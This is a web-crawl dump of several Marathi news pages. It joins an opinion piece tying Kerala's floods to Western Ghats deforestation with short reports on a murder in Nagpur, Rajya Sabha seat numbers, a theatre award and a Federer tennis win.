केरळमध्ये अतिवृष्टी झाली होती; पण त्या वेळी ही सर्व धरणे अशी भरली गेली नव्हती. ४० टक्क्यांपेक्षा जास्त पाऊस पडूनही सर्व व्यवस्थित होते. तसाच पाऊस या वर्षी पडला पण एवढी अपरिमित हानी का झाली यावर मंथन होणे गरजेचे आहे. केरळच्या या आपत्तीमध्ये तेथील शेतकरी संपूर्ण उद्‌ध्वस्त झाला आहे. झालेल्या ३० हजार कोटी रुपयांच्या हानीमध्ये शेतीचा हिस्सा सध्या ११०० कोटींचा आहे आणि हानीचा हा आकडा वाढतच जाणार आहे. रबर, अननस, भात, वेलची, मिरी, नारळ, सुपारी, कॉफी, कोको, केळी या ४६ हजार हेक्टर क्षेत्रावरील पिकांचे प्रचंड नुकसान झाले आहे. तेथील शेतकऱ्यांना सावरणे हे मोठे आव्हान आहे.\nकेरळमध्ये गेल्या दोन दशकामध्ये पर्यटन खूपच वाढले आहे. या देवभूमीकडे लाखो देशी विदेशी पर्यटकांचा ओढा असतो. प्रतिवर्षी ३० हजार कोटी रुपयांचे उत्पन्न राज्य सरकारला मिळवून देणाऱ्या या व्यवसायाने पश्चिम घाटामधील घनदाट जंगलात चांगलेच बस्तान बसवले आहे. रस्ते बांधणीत हजारो वृक्षांचा बळी गेला. फक्त मॉन्सूनचे तीन महिने सोडता उर्वरित नऊ महिने या राज्यात पर्यटक येत असतात आणि यामध्ये प्रतिवर्षी १० टक्के सातत्याने वाढ होत आहे. या सर्वांच्या सुखसोयीची निर्मिती पश्चिम घाटातच होत असते. रिसॉर्टचे बांधकाम होताना किती वृक्ष धारातीर्थ पडले माहीत नाही; पण एक जरी वृक्ष खाली पडला तरी त्यास निगडित असलेली सर्व जैवविविधता सैरभैर होते.\nकेरळच्या पश्चिम घाट म्हणजे औषधी वनस्पतींचे आगारच. यामध्ये कंदमुळे जास्त महत्त्वाची. आज या भागात मोठ्या प्रमाणात ही नैसर्गिक कंदमुळे उपटून औषध निर्मितीसाठी वापरली जातात. यामुळे हजारो टन सुपीक माती पावसात वाहून जाते. पश्चिम घाटाच्या वनसंपदेचा हा ऱ्हासच आहे. येथे बंधन येणे आवश्यक आहे. पश्चिम घाटात आज ६० टक्के भागात मानवी वर्दळ आहे आणि ४० टक्के भाग नैसर्गिकदृष्ट्या सुरक्षित आहे. हा सुरक्षित भाग वाढवण्यासाठी प्रयत्न आवश्यक आहेत. डॉ. कस्तुरीरंगन अहवालानुसार पश्चिम घाटामधील ५९ हजार ९४० चौ.कि.मी. भाग संवेदनशील म्हणून जाहीर झाला होता पण २०१७ साली केंद्र सरकारने तो ५६ हजार २८५ चौ.कि.मी. केला. केरळ राज्यामधील पश्चिम घाटात डॉ. कस्तुरीरंगन यांनी १३ हजार १०८ कि.मी. भाग सुरक्षित केला होता तो तेथील शासनाने ९९९३ कि. मी. पर्यंत खाली आणला. या दोन आकड्यांची वजाबाकी आपणास सध्याच्या परिस्थितीचे वैज्ञानिक उत्तर देऊ शकते.\nकेरळमध्ये सर्वात जास्त हानी रस्ते, पूल, शेती, फळबागा, विद्युतपुरवठा, मनुष्य आणि पशुधनाची झाली आहे. मदतीचा ओघ सुरू झाला आहे. केरळ हे नैसर्गिक आपत्तीमधून अल्पावधित सावरणारे जगामधील एक आदर्श उदाहरण ठरेल असे तेथील मुख्यमंत्री म्हणतात. मात्र, यामध्ये या आपत्तीच्या अनेक कारणांपैकी मूळ कारण असलेल्या पश्चिम घाटाच्या संवर्धनाचा कुठेही उल्लेख नाही. वनखात्याच्या जमिनीवरचे आक्रमण आणि दगड खाणी वर नियंत्रण या गोष्टी अत्यावश्यक आहेत. डॉ. गाडगीळ यांचा निसर्ग आणि माणूस यांना एकत्र जोडण्याच्या प्रयत्नाचे आपल्याकडे अजून तरी चीज झाले नाही. अमेरिकेमधील पर्यावरण क्षेत्रामधील प्रतिष्ठित असा ‘टायलर’ पुरस्कार डॉ. गाडगीळ यांना देताना ती समिती म्हणते, ‘‘कुठल्याही भूभागाचा विकास करण्यापूर्वी आपण तेथील पर्यावरण, जैवविविधता आणि त्याच्याशी निगडित मनुष्य वस्ती यांचा विचार करणे आवश्यक आहे. विकास करत असताना या घटकांचे सुदृढ अवस्थेत एकमेकांवर अवलंबून असणे हेच निसर्गाचे लोभस रूप आहे. विकासाच्या नावाखाली त्यांना उद्‌ध्वस्त करू नका, अशी कळकळीची विनंती त्यांनी त्यांच्या पश्चिम घाटावरील अहवालात केली आहे. म्हणूनच डॉ. गाडगीळ यांना हा पर्यावरण क्षेत्रामधील उच्च पुरस्कार देताना आज आम्हास आनंद होत आहे.’’\nपश्चिम घाटावरील त्यांचा अहवाल संवेदनक्षेत्रापुरता जरी स्विकारला असता तर आज केरळवर ही आपत्ती निश्चितच आली नसती. पश्चिम घाटाचे अंतिम टोक केरळ कन्याकुमारी नंतर श्रीलंकेत स्थिरावते. या चिमुकल्या देशास आज याच घाटाने केवढी श्रीमंती दिली आहे हे आपणास तेथे गेल्यावरच दिसते. पश्चिम घाटाच्या ओढीमुळेच मॉन्सून सर्वप्रथम तेथे जातो आणि नंतर केरळला येतो. यावर्षी नेहमीप्रमाणे एक जूनला मॉन्सून आला मात्र न थांबण्यासाठीच. अडीच महिने सतत कोसळत आहे आता त्याने विश्रांती घेतली आहे. मदतकार्य जोरात सुरू आहे. आलेल्या आपत्तीवर चर्चा होईल, नवीन अहवालसुद्धा येतील. त्यातील कारणे वेगळेसुद्धा असू शकतील. परंतु, केरळात आत्ता पडतो तसेच पाऊस मागील १०० वर्षांपासून पडत असून तो पश्चिम घाटामध्येच मुरत होता आणि नद्या स्फटिकाप्रमाणे वाहत होत्या. तोच पाऊस या वर्षी दरडींना खाली नद्यांमध्ये घेऊन का आला, याची चौकशी होणे गरजेचे आहे. स्वर्गभूमी उत्तराखंडापासून आम्ही काहीही धडा घेतला नाही. निदान देवभूमी केरळपासून तरी धडा घेऊ या...\nडॉ, नागेश टेकाळे ः ९८६९६१२५३१\n(लेखक शेती प्रश्नांचे अभ्यासक आहेत.)\nकेरळ ऊस पाऊस इस्त्रो विकास पाणी water वृक्ष आग धरण शेती नारळ पर्यटन tourism पर्यटक उत्पन्न व्यवसाय profession मॉन्सून जैवविविधता औषध drug पूल पशुधन मुख्यमंत्री निसर्ग पर्यावरण\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\n संग्रामाला झाली...15 ऑगस्ट 1947 रोजी आपला भारत देश स्वातंत्र्य झाला...\n‘आयपीएम’चा विसर नकोआयपीएम अर्थात एकात्मिक कीड नियंत्रण तंत्राचा वापर...\nखाडी से नही, अब तेल आयेगा बाडी सेभारतीय जनता पार्टीचे छत्तीसगड राज्याचे ...\nपीककर्ज द्याऽऽऽ पीककर्जखरे तर हंगामाच्या सुरवातीस पेरणीकरिता शेतकऱ्यांना...\nशास्त्राशी सुसंगत असावीत शेतीची कामेआपल्या देशातील शेतीचा तीन हजार वर्षांचा ज्ञात...\nइंडिया-भारतातील दरी करा कमी हरितक्रांतीमुळे उत्पादनात लक्षणीय प्रमाणात वाढ...\nस्थलांतर थांबविणारा विकास हवारवांडा येथील किगॅली येथे आंतरराष्ट्रीय युवा परिषद...\nया वर्षी बोंड अळीच्या भीतीपोटी राज्यात आणि देश...\nन परवडणाऱ्या क्षेत्रात थांबणार कोणअलीकडे उद्योग व सेवाक्षेत्रातील रोबोच्या (यंत्र...\n‘सिल्क रूट’ व्हावा प्रशस्तरेशीम कोष असो अथवा इतर शेती आणि शेतीपूरक...\nअव्यवहार्य नियंत्रणाची अंमलबजावणी अशक्यप्रस्तावातील एका नियमानुसार, अधिसूचित...\nसहकारी बॅंकांनी असावे सजग सहकारी क्षेत्रात बॅंक स्थापनेसाठी निकष...\nपशुधनालाही हवे दर्जेदार खाद्य दुग्धोत्पादनाला चालना देण्यासाठी पंजाब सरकारने...\nप्रत्येक डोळ्यातील अश्रू मिटवू या...३० जानेवारी १९४८ रोजी महात्मा गांधी यांच्या...\nअनियंत्रित कीड नियंत्रणराज्यात मागील १५ ते २० दिवसांपासून सतत ढगाळ...\nहमला लष्करी अळीचाआफ्रिका खंडात कहर केल्यानंतर लष्करी अळीने (आर्मी...\nविनाशकारी विकास नकोचइस्त्रोचे माजी अध्यक्ष डॉ. माधवन नायर सुद्धा...\n‘मिशन’ फत्ते करासेंद्रिय शेती-विषमुक्त शेतीच्या राज्य पुरस्कृत...\nताळेबंदातील हेराफेरी ः एक वित्तीय संकटसहकारी संस्था/ बॅंकांमध्ये ताळेबंदाला फार महत्त्व...\nउपसाबंदीपेक्षा नैसर्गिक पुनर्भरण करामहाराष्ट्र भूजल (विकास व व्यवस्थापन) नियम, २०१८...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00422.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/lawyer-women-murder-40203", "date_download": "2018-09-25T17:30:08Z", "digest": "sha1:M64EBGI55PWJX3QDQ2ZHCATQV2C7YDIM", "length": 15301, "nlines": 182, "source_domain": "www.esakal.com", "title": "lawyer women murder वकील महिलेचा खून | eSakal", "raw_content": "\nशनिवार, 15 एप्रिल 2017\nनागपूर - खोट्या तक्रारी देऊन खंडणी वसूल करणे तसेच घराजवळील दुकानदार, शेजाऱ्यांना दमदाटी करणाऱ्या ॲड. राजेशकुमारी उर्फ राजश्री विश्‍वनंदनस्वरूप टंडन (५३, रा. चौधरी ले-आउट) यांची दहावीतील विद्यार्थ्याने हत्या केली. सेमिनरी हिल्स भागातील मोंटेक्‍स फोटो स्टुडिओमध्ये घडलेल्या घटनेने शहरात खळबळ उडाली आहे.\nनागपूर - खोट्या तक्रारी देऊन खंडणी वसूल करणे तसेच घराजवळील दुकानदार, शेजाऱ्यांना दमदाटी करणाऱ्या ॲड. राजेशकुमारी उर्फ राजश्री विश्‍वनंदनस्वरूप टंडन (५३, रा. चौधरी ले-आउट) यांची दहावीतील विद्यार्थ्याने हत्या केली. सेमिनरी हिल्स भागातील मोंटेक्‍स फोटो स्टुडिओमध्ये घडलेल्या घटनेने शहरात खळबळ उडाली आहे.\nआरोपी टंडन यांच्या शेजारी राहायचा. साधारणत: दोन वर्षांपूर्वी आरोपीच्या वडिलाला पोलिसांनी तडीपार केले होते. टंडन यांनी केलेल्या खोट्या तक्रारीमुळे वडिलांना तडीपार केल्याचे मुलाचे म्हणणे होते. यावरून दोघांमध्ये भांडणदेखील व्हायचे. बरेचदा ‘तेरा बाप क्रिमिनल हैं’ अशा शब्दांमध्ये ॲड. टंडन मुलाला डिवचायच्या. शुक्रवारी सायंकाळी\n७ ते ७.३० वाजतादरम्यान आरोपीचे आजोबा आणि ॲड. टंडन यांच्यामध्ये भांडण झाले. यावेळी मुलाला टंडन यांनी कानाखाली लगावली. याचा राग आरोपीच्या मनात होता. औषधी खरेदी करून ॲड. टंडन घरी जात असताना आरोपीने त्यांना अडविले आणि चाकू उगारला. यामुळे ॲड. टंडन यांनी पळ काढला आणि जवळच्या मोंटेक्‍स फोटो स्टुडिओत आश्रय घेतला. तेथे घुसून आरोपीने त्यांच्यावर चाकूने वार केले. टंडन यांचा घटनास्थळीच मृत्यू झाला.\nगिट्टीखदान पोलिसांना माहिती समजताच पोलिसांचा ताफा घटनास्थळी दाखल झाला. आरोपीचे नाव समजल्याने पोलिसांनी शोध घ्यायला सुरुवात केली. कोराडीकडे पळून जात असताना पोलिसांनी त्याला पकडले. याप्रकरणी गिट्टीखदान पोलिसांनी खुनाचा गुन्हा दाखल केला आहे.\nॲड. टंडन या वकिलीच्या भरवशावर दुकानदारांना त्रास देत असत. कुणाही भाजी किंवा फळविक्रेत्यांकडून वस्तू खरेदी केल्यानंतर पैसे देत नसत. दुकानदारांनी पैशाची मागणी केल्यास ओळखत नाही काय, असे बोलून अतिक्रमण विभागाकडे तक्रार करेन, अशी धमकी देत असत. तरीही दुकानदारांनी पैशासाठी आग्रह धरल्यास त्या नासुप्र, मनपा आणि संबंधित विभागांकडे दुकानदारांच्या तक्रारी करीत असत. त्यामुळे त्या परिसरातील दुकानदार त्रस्त झाले होते.\nवादग्रस्त वकील म्हणून ॲड. टंडन यांची ओळख होती. नागपुरात गाजलेल्या संजयसिंह आणि सुभाषसिंह प्रकरणात त्यांची महत्त्वाची भूमिका होती. यानंतर त्यांचा सी. प्रभाकर या आयपीएस अधिकाऱ्याशी झालेला घटस्फोट आणि त्यातून लाटलेली भरमसाठ रक्कम हा त्यावेळी चर्चेचा विषय ठरला होता. त्या जिल्हा आणि उच्च न्यायालयात वकिली करायच्या. त्यांच्यावर वकिलांकडून खंडणी उकळल्याचा आरोप होता. त्यांच्यावर गिट्टीखदान पोलिस स्टेशनला मारहाण, खंडणी उकळणे असे ४ गुन्हे दाखल आहेत. एका गुन्ह्यात पोलिसांनी त्यांना अटक केली होती. मध्यवर्ती कारागृहात असताना त्यांच्याकडे मोबाईल सापडला होता. सध्या त्या सोलेमन नावाच्या व्यक्तीसोबत राहायच्या. हा त्यांचा सहावा पती असल्याची माहिती आहे.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00422.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/National/BJP-Will-Not-Get-Majority-In-Rajayasabha-After-Election/", "date_download": "2018-09-25T17:42:19Z", "digest": "sha1:6LZSV3LW73LW7ZHXQACIEM5UBEAV7HE6", "length": 6614, "nlines": 36, "source_domain": "www.pudhari.news", "title": " सर्वाधिक जागा मिळूनही भाजपची अडचण; बहुमत मिळणार नाही! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › National › सर्वाधिक जागा मिळूनही भाजपची अडचण; बहुमत मिळणार नाही\nसर्वाधिक जागा मिळूनही भाजपची अडचण; बहुमत मिळणार नाही\nनवी दिल्ली: पुढारी ऑनलाईन\nराज्यसभेच्या 58 जागांसाठी निवडणूक होत आहे. उमेदवार निश्चित करणे, अर्ज दाखल करण्याबाबत अनेक राजकीय खेळी पडद्यामागे सुरु आहेत. या निवडणुकीत भाजप राज्यसभेतील जागा वाढतील यासाठी प्रयत्न करत आहे. तर काँग्रेस 2019च्या लोकसभा निवडणुकीत पुन्हा सत्ता कशी मिळेल याची संधी शोधत आहे.\nदोन्ही पक्ष राज्यसभा निवडणुकीच्या बेरजेच्या राजकारणात गुंतले आहेत. त्यात उत्तर प्रदेशमधील समाजवादी पक्षाचे नेते नरेश अग्रवाल देखील भाजपमध्ये दाखल झाले आहेत. राज्यसभेच्या राज्यातील 10 जागांपैकी भाजपला 8 तर समाजवादी पक्षाला एक जागा निश्चित मिळणार आहे. पण भाजपने नववा उमेदवार दिल्याने 'सप' आणि 'बसप'च्या अचडणी वाढल्या आहेत. काँग्रेस या निवडणुकीच्या निमित्ताने सर्व विरोधी पक्षांना एकत्र आणण्याचा प्रयत्न करत आहे. काँग्रेसने उत्तर प्रदेशमध्ये बसपला पाठिंबा दिला आहे तर मध्य प्रदेशमध्ये बसपने काँग्रेसला पाठिंबा दिला आहे.\nराज्यसभेवर जास्तीजास्त जागा निवडूण आणण्याचा प्रयत्न करणाऱ्या भापजला या निवडणुकीत फायदा होणार आहे. पण राज्यसभेत एनडीएला बहुमतापासून दुरच राहील. सध्या होणाऱ्या 58 पैकी 28 जागा भाजपला मिळणार आहेत. अनु आगा, अभिनेत्री रेखा आणि सचिन तेंडुलकर या राष्ट्रपतींकडून नियुक्त झालेल्या तीन खासदारांचा कार्यकाळ देखील संपणार आहे. त्यामुळे या 3 जागा देखील एनडीएला मिळतील.\nआता राज्यसभेतील परिस्थितीचा आढावा घेतल्यास सध्या सभागृहात 239 सदस्य आहेत. त्यापैकी एनडीएकडे 83 सदस्य आहेत. बहुमतासाठी 121 सदस्यांची गरज आहे. या निवडणुकीनंतर एनडीएचे संख्याबळ 100च्या जवळ म्हणजे 98 पर्यंत पोहोचेल. ही संख्या बहुमतापासून बरीच लांब आहे. याचाच दुसरा अर्थ मोदी सरकारला या कार्यकाळात राज्यसभेत बहुमत मिळणार नाही. त्यामुळे त्यांना महत्त्वाची विधेयके मंजूर करण्यासाठी बीजेडी आणि अण्णाद्रमुक सारख्या पक्षांची मदत घ्यावी लागेल.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00422.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%89%E0%A4%AA%E0%A4%B6%E0%A4%BF%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%A3-%E0%A4%85%E0%A4%A7%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B1%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%9A%E0%A5%80-%E0%A4%96%E0%A5%81%E0%A4%9F/", "date_download": "2018-09-25T17:30:16Z", "digest": "sha1:3U22YJ7FA3Y7GRDULMUQ6PZ2FJCV7E7V", "length": 5749, "nlines": 127, "source_domain": "www.dainikprabhat.com", "title": "उपशिक्षण अधिकाऱ्याची खुटबाव विद्यालयाला भेट | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nउपशिक्षण अधिकाऱ्याची खुटबाव विद्यालयाला भेट\nकेडगाव – जिल्हा परिषदेच्या उपशिक्षण अधिकारी संध्या गायकवाड यांनी मंगळवारी (दि. 4) खुटबाव (ता. दौंड) येथील भैरवनाथ विद्यालयाला भेट देऊन शालेय कामकाजांची माहिती घेतली.\nउपस्थित शिक्षकांना मार्गदर्शन करताना गायकवाड यांनी सांगितले की, शिक्षकांनी बदलत्या अभ्यासक्रमानुसार अध्यापन करणे गरजेचे आहे. अध्यापन करताना मुले घडली पाहिजेत हा दृष्टिकोन डोळ्यांसमोर ठेवल्यास निश्‍चितपणे आधुनिक पिढी घडण्यात शिक्षकांचा हातभार लागेल. यावेळी विद्यालयाचे प्राचार्य हिंदूराव जाधव यांच्या हस्ते त्यांचा शाल आणि श्रीफळ देऊन सत्कार करण्यात आला. तसेच गायकवाड यांच्या हस्ते आदर्श शिक्षिका म्हणून निवड झालेल्या विद्यालयाच्या उपशिक्षिका उज्वला कदम यांचा सत्कार करण्यात आला. यावेळी पर्यवेक्षक बाबासाहेब सरतापे समवेत सर्व शिक्षक उपस्थित होते.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleराजगुरूनगर आरोग्य यंत्रणेचा कहर\nNext article20 जणांना कुत्रे चावले\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00423.warc.wet.gz", "language": "mr", "language_score": 0.76, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/entertainment/entertainment-news/entertainment-drama/audience-announced-51-thousand-rupees-award-for-ananya-drama/articleshow/65383217.cms", "date_download": "2018-09-25T18:12:40Z", "digest": "sha1:GC7WV7A3QQEBXGPU4FNOVIBIRFJAJSXN", "length": 10811, "nlines": 136, "source_domain": "maharashtratimes.indiatimes.com", "title": "ananya marathi drama: audience announced 51 thousand rupees award for ananya drama - 'अनन्या'च्या अभिनयाला '५१ हजारी' दाद | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\n'अनन्या'च्या अभिनयाला '५१ हजारी' दाद\n'अनन्या'च्या अभिनयाला '५१ हजारी' दाद\nसाहित्य, नाट्य कलेवर प्रेम करणारे अनेक दर्दी प्रेक्षक असतात. शिवाजी नाट्यमंदिरात 'अनन्या' नाटकाने भारावलेल्या एका प्रेक्षकाने अभिनेत्री ऋतुजा बागवेच्या अभिनयाला दिलखुलास दाद दिली. या नाटकात मुख्य भूमिका साकारणाऱ्या ऋतुजाला या अनामिक प्रेक्षकाने तब्बल ५१ हजार रुपयांचे बक्षिस देत कौतुक केले.\nएकांकिकेवर आधारीत असलेले 'अनन्या' हे नाटक रंगमंचावर प्रेक्षकांची दाद मिळवत आहे. एका तरुणीने आपल्यातल्या शारीरिक उणिवेवर मात करत जगण्याच्या केलेल्या संघर्षाची गोष्ट या नाटकात आहे. अभिनेत्री ऋतुजा बागवे नाटकात मुख्य भूमिका साकारत आहे. रविवारी या नाटकाचा प्रयोग दादर येथील शिवाजी मंदिरात पार पडला. त्यावेळी उपस्थित असणाऱ्या एका प्रेक्षकाला ऋतुजाचा अभिनय चांगलाच भावला. त्यांनी त्याच ठिकाणी नाव न जाहीर करण्याच्या विनंतीवर तिला ५१ हजाराच्या रक्कमेचा चेक देऊन कौतुक केले. आयुष्यातील हा क्षण कधीच विसरणार नसल्याची प्रतिक्रिया अभिनेत्री ऋतुजाने व्यक्त केली. यापुढे अधिक चांगले काम करण्याची जबाबदारी वाढली असल्याचे तिने म्हटले. कौतुक म्हणून मिळालेल्या या रकमेतील काही रक्कम ही दिव्यांगांसाठी काम करणाऱ्या संस्थेला देणगी म्हणून देणार असल्याचे ऋतुजाने सांगितले.\nमिळवा सिनेन्यूज बातम्या(entertainment news News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nentertainment news News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1'अनन्या'च्या अभिनयाला '५१ हजारी' दाद...\n3कल्पना एक, एकांकिका अनेक...\n4४४ वर्षांनंतर पुन्हा 'आरण्यक'...\n8'हलकं फुलकं', 'गोष्ट' पुन्हा एकदा...\n: एकटेपणापासून एकटेपणाकडचा गोड प्रवास...", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00423.warc.wet.gz", "language": "mr", "language_score": 0.8, "bucket": "all"} {"url": "https://mahasports.co.in/rogerfederer-notches-up-his-90th-match-victory-at-melbourne-park-d-29th-seed-richard-gasquet-6-2-7-5-6-4/", "date_download": "2018-09-25T17:02:04Z", "digest": "sha1:B64KMVRY3CJFNUIGL7MSJOW4LCXPX7ZM", "length": 7007, "nlines": 63, "source_domain": "mahasports.co.in", "title": "Australian Open 2018: रॉजर फेडररचा सोपा विजय, चौथ्या फेरीत केला प्रवेश -", "raw_content": "\nAustralian Open 2018: रॉजर फेडररचा सोपा विजय, चौथ्या फेरीत केला प्रवेश\nAustralian Open 2018: रॉजर फेडररचा सोपा विजय, चौथ्या फेरीत केला प्रवेश\n स्पर्धेत दुसरे मानांकन असणाऱ्या रॉजर फेडररने ऑस्ट्रेलियन ओपनच्या चौथ्या फेरीत प्रवेश केला आहे. त्याने २९व्या मानांकित रिचर्ड गॅस्केटचा ६-२, ७-५, असा पराभव केला.\nफेडररला या फेरीत विजयासाठी २९व्या मानांकित रिचर्ड गॅस्केटने चांगलाच घाम गाळायला लावला. पहिला सेट ३० मिनिटांत ६-२ असा जिंकणाऱ्या फेडररला पुढच्या सेटमध्ये मात्र गॅस्केटने चांगलेच झगडायला लावले. हा सेट फेडररने अखेर ७-५ असा जिंकला.\nशेवटच्या सेटमध्येही दोन्ही खेळाडूंनी आपली सर्विस राखत ४-४ अशी बरोंबरी केली होती. अखेर गॅस्केटची सर्विस भेदत शेवटचा सेट ६-४ असा जिंकला.\nफेडररचा हा गॅस्केटवरील हा १७ वा विजय असून गॅस्केटला फेडररविरुद्ध केवळ २ विजय मिळवता आले आहे. फेडररचा हा ऑस्ट्रेलियन ओपनमधील ९०वा विजय आहे. त्याने ऑस्ट्रेलियन ओपनच्या उपउपांत्यपूर्व फेरीत १६व्यांदा प्रवेश केला आहे.\nफेडररचा उपउपांत्यपूर्व फेरीचा सामना एटीपी क्रमवारीत ८५व्या स्थानावर असणाऱ्या मार्तोन फुकडोविकस या खेळाडूबरोबर आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या 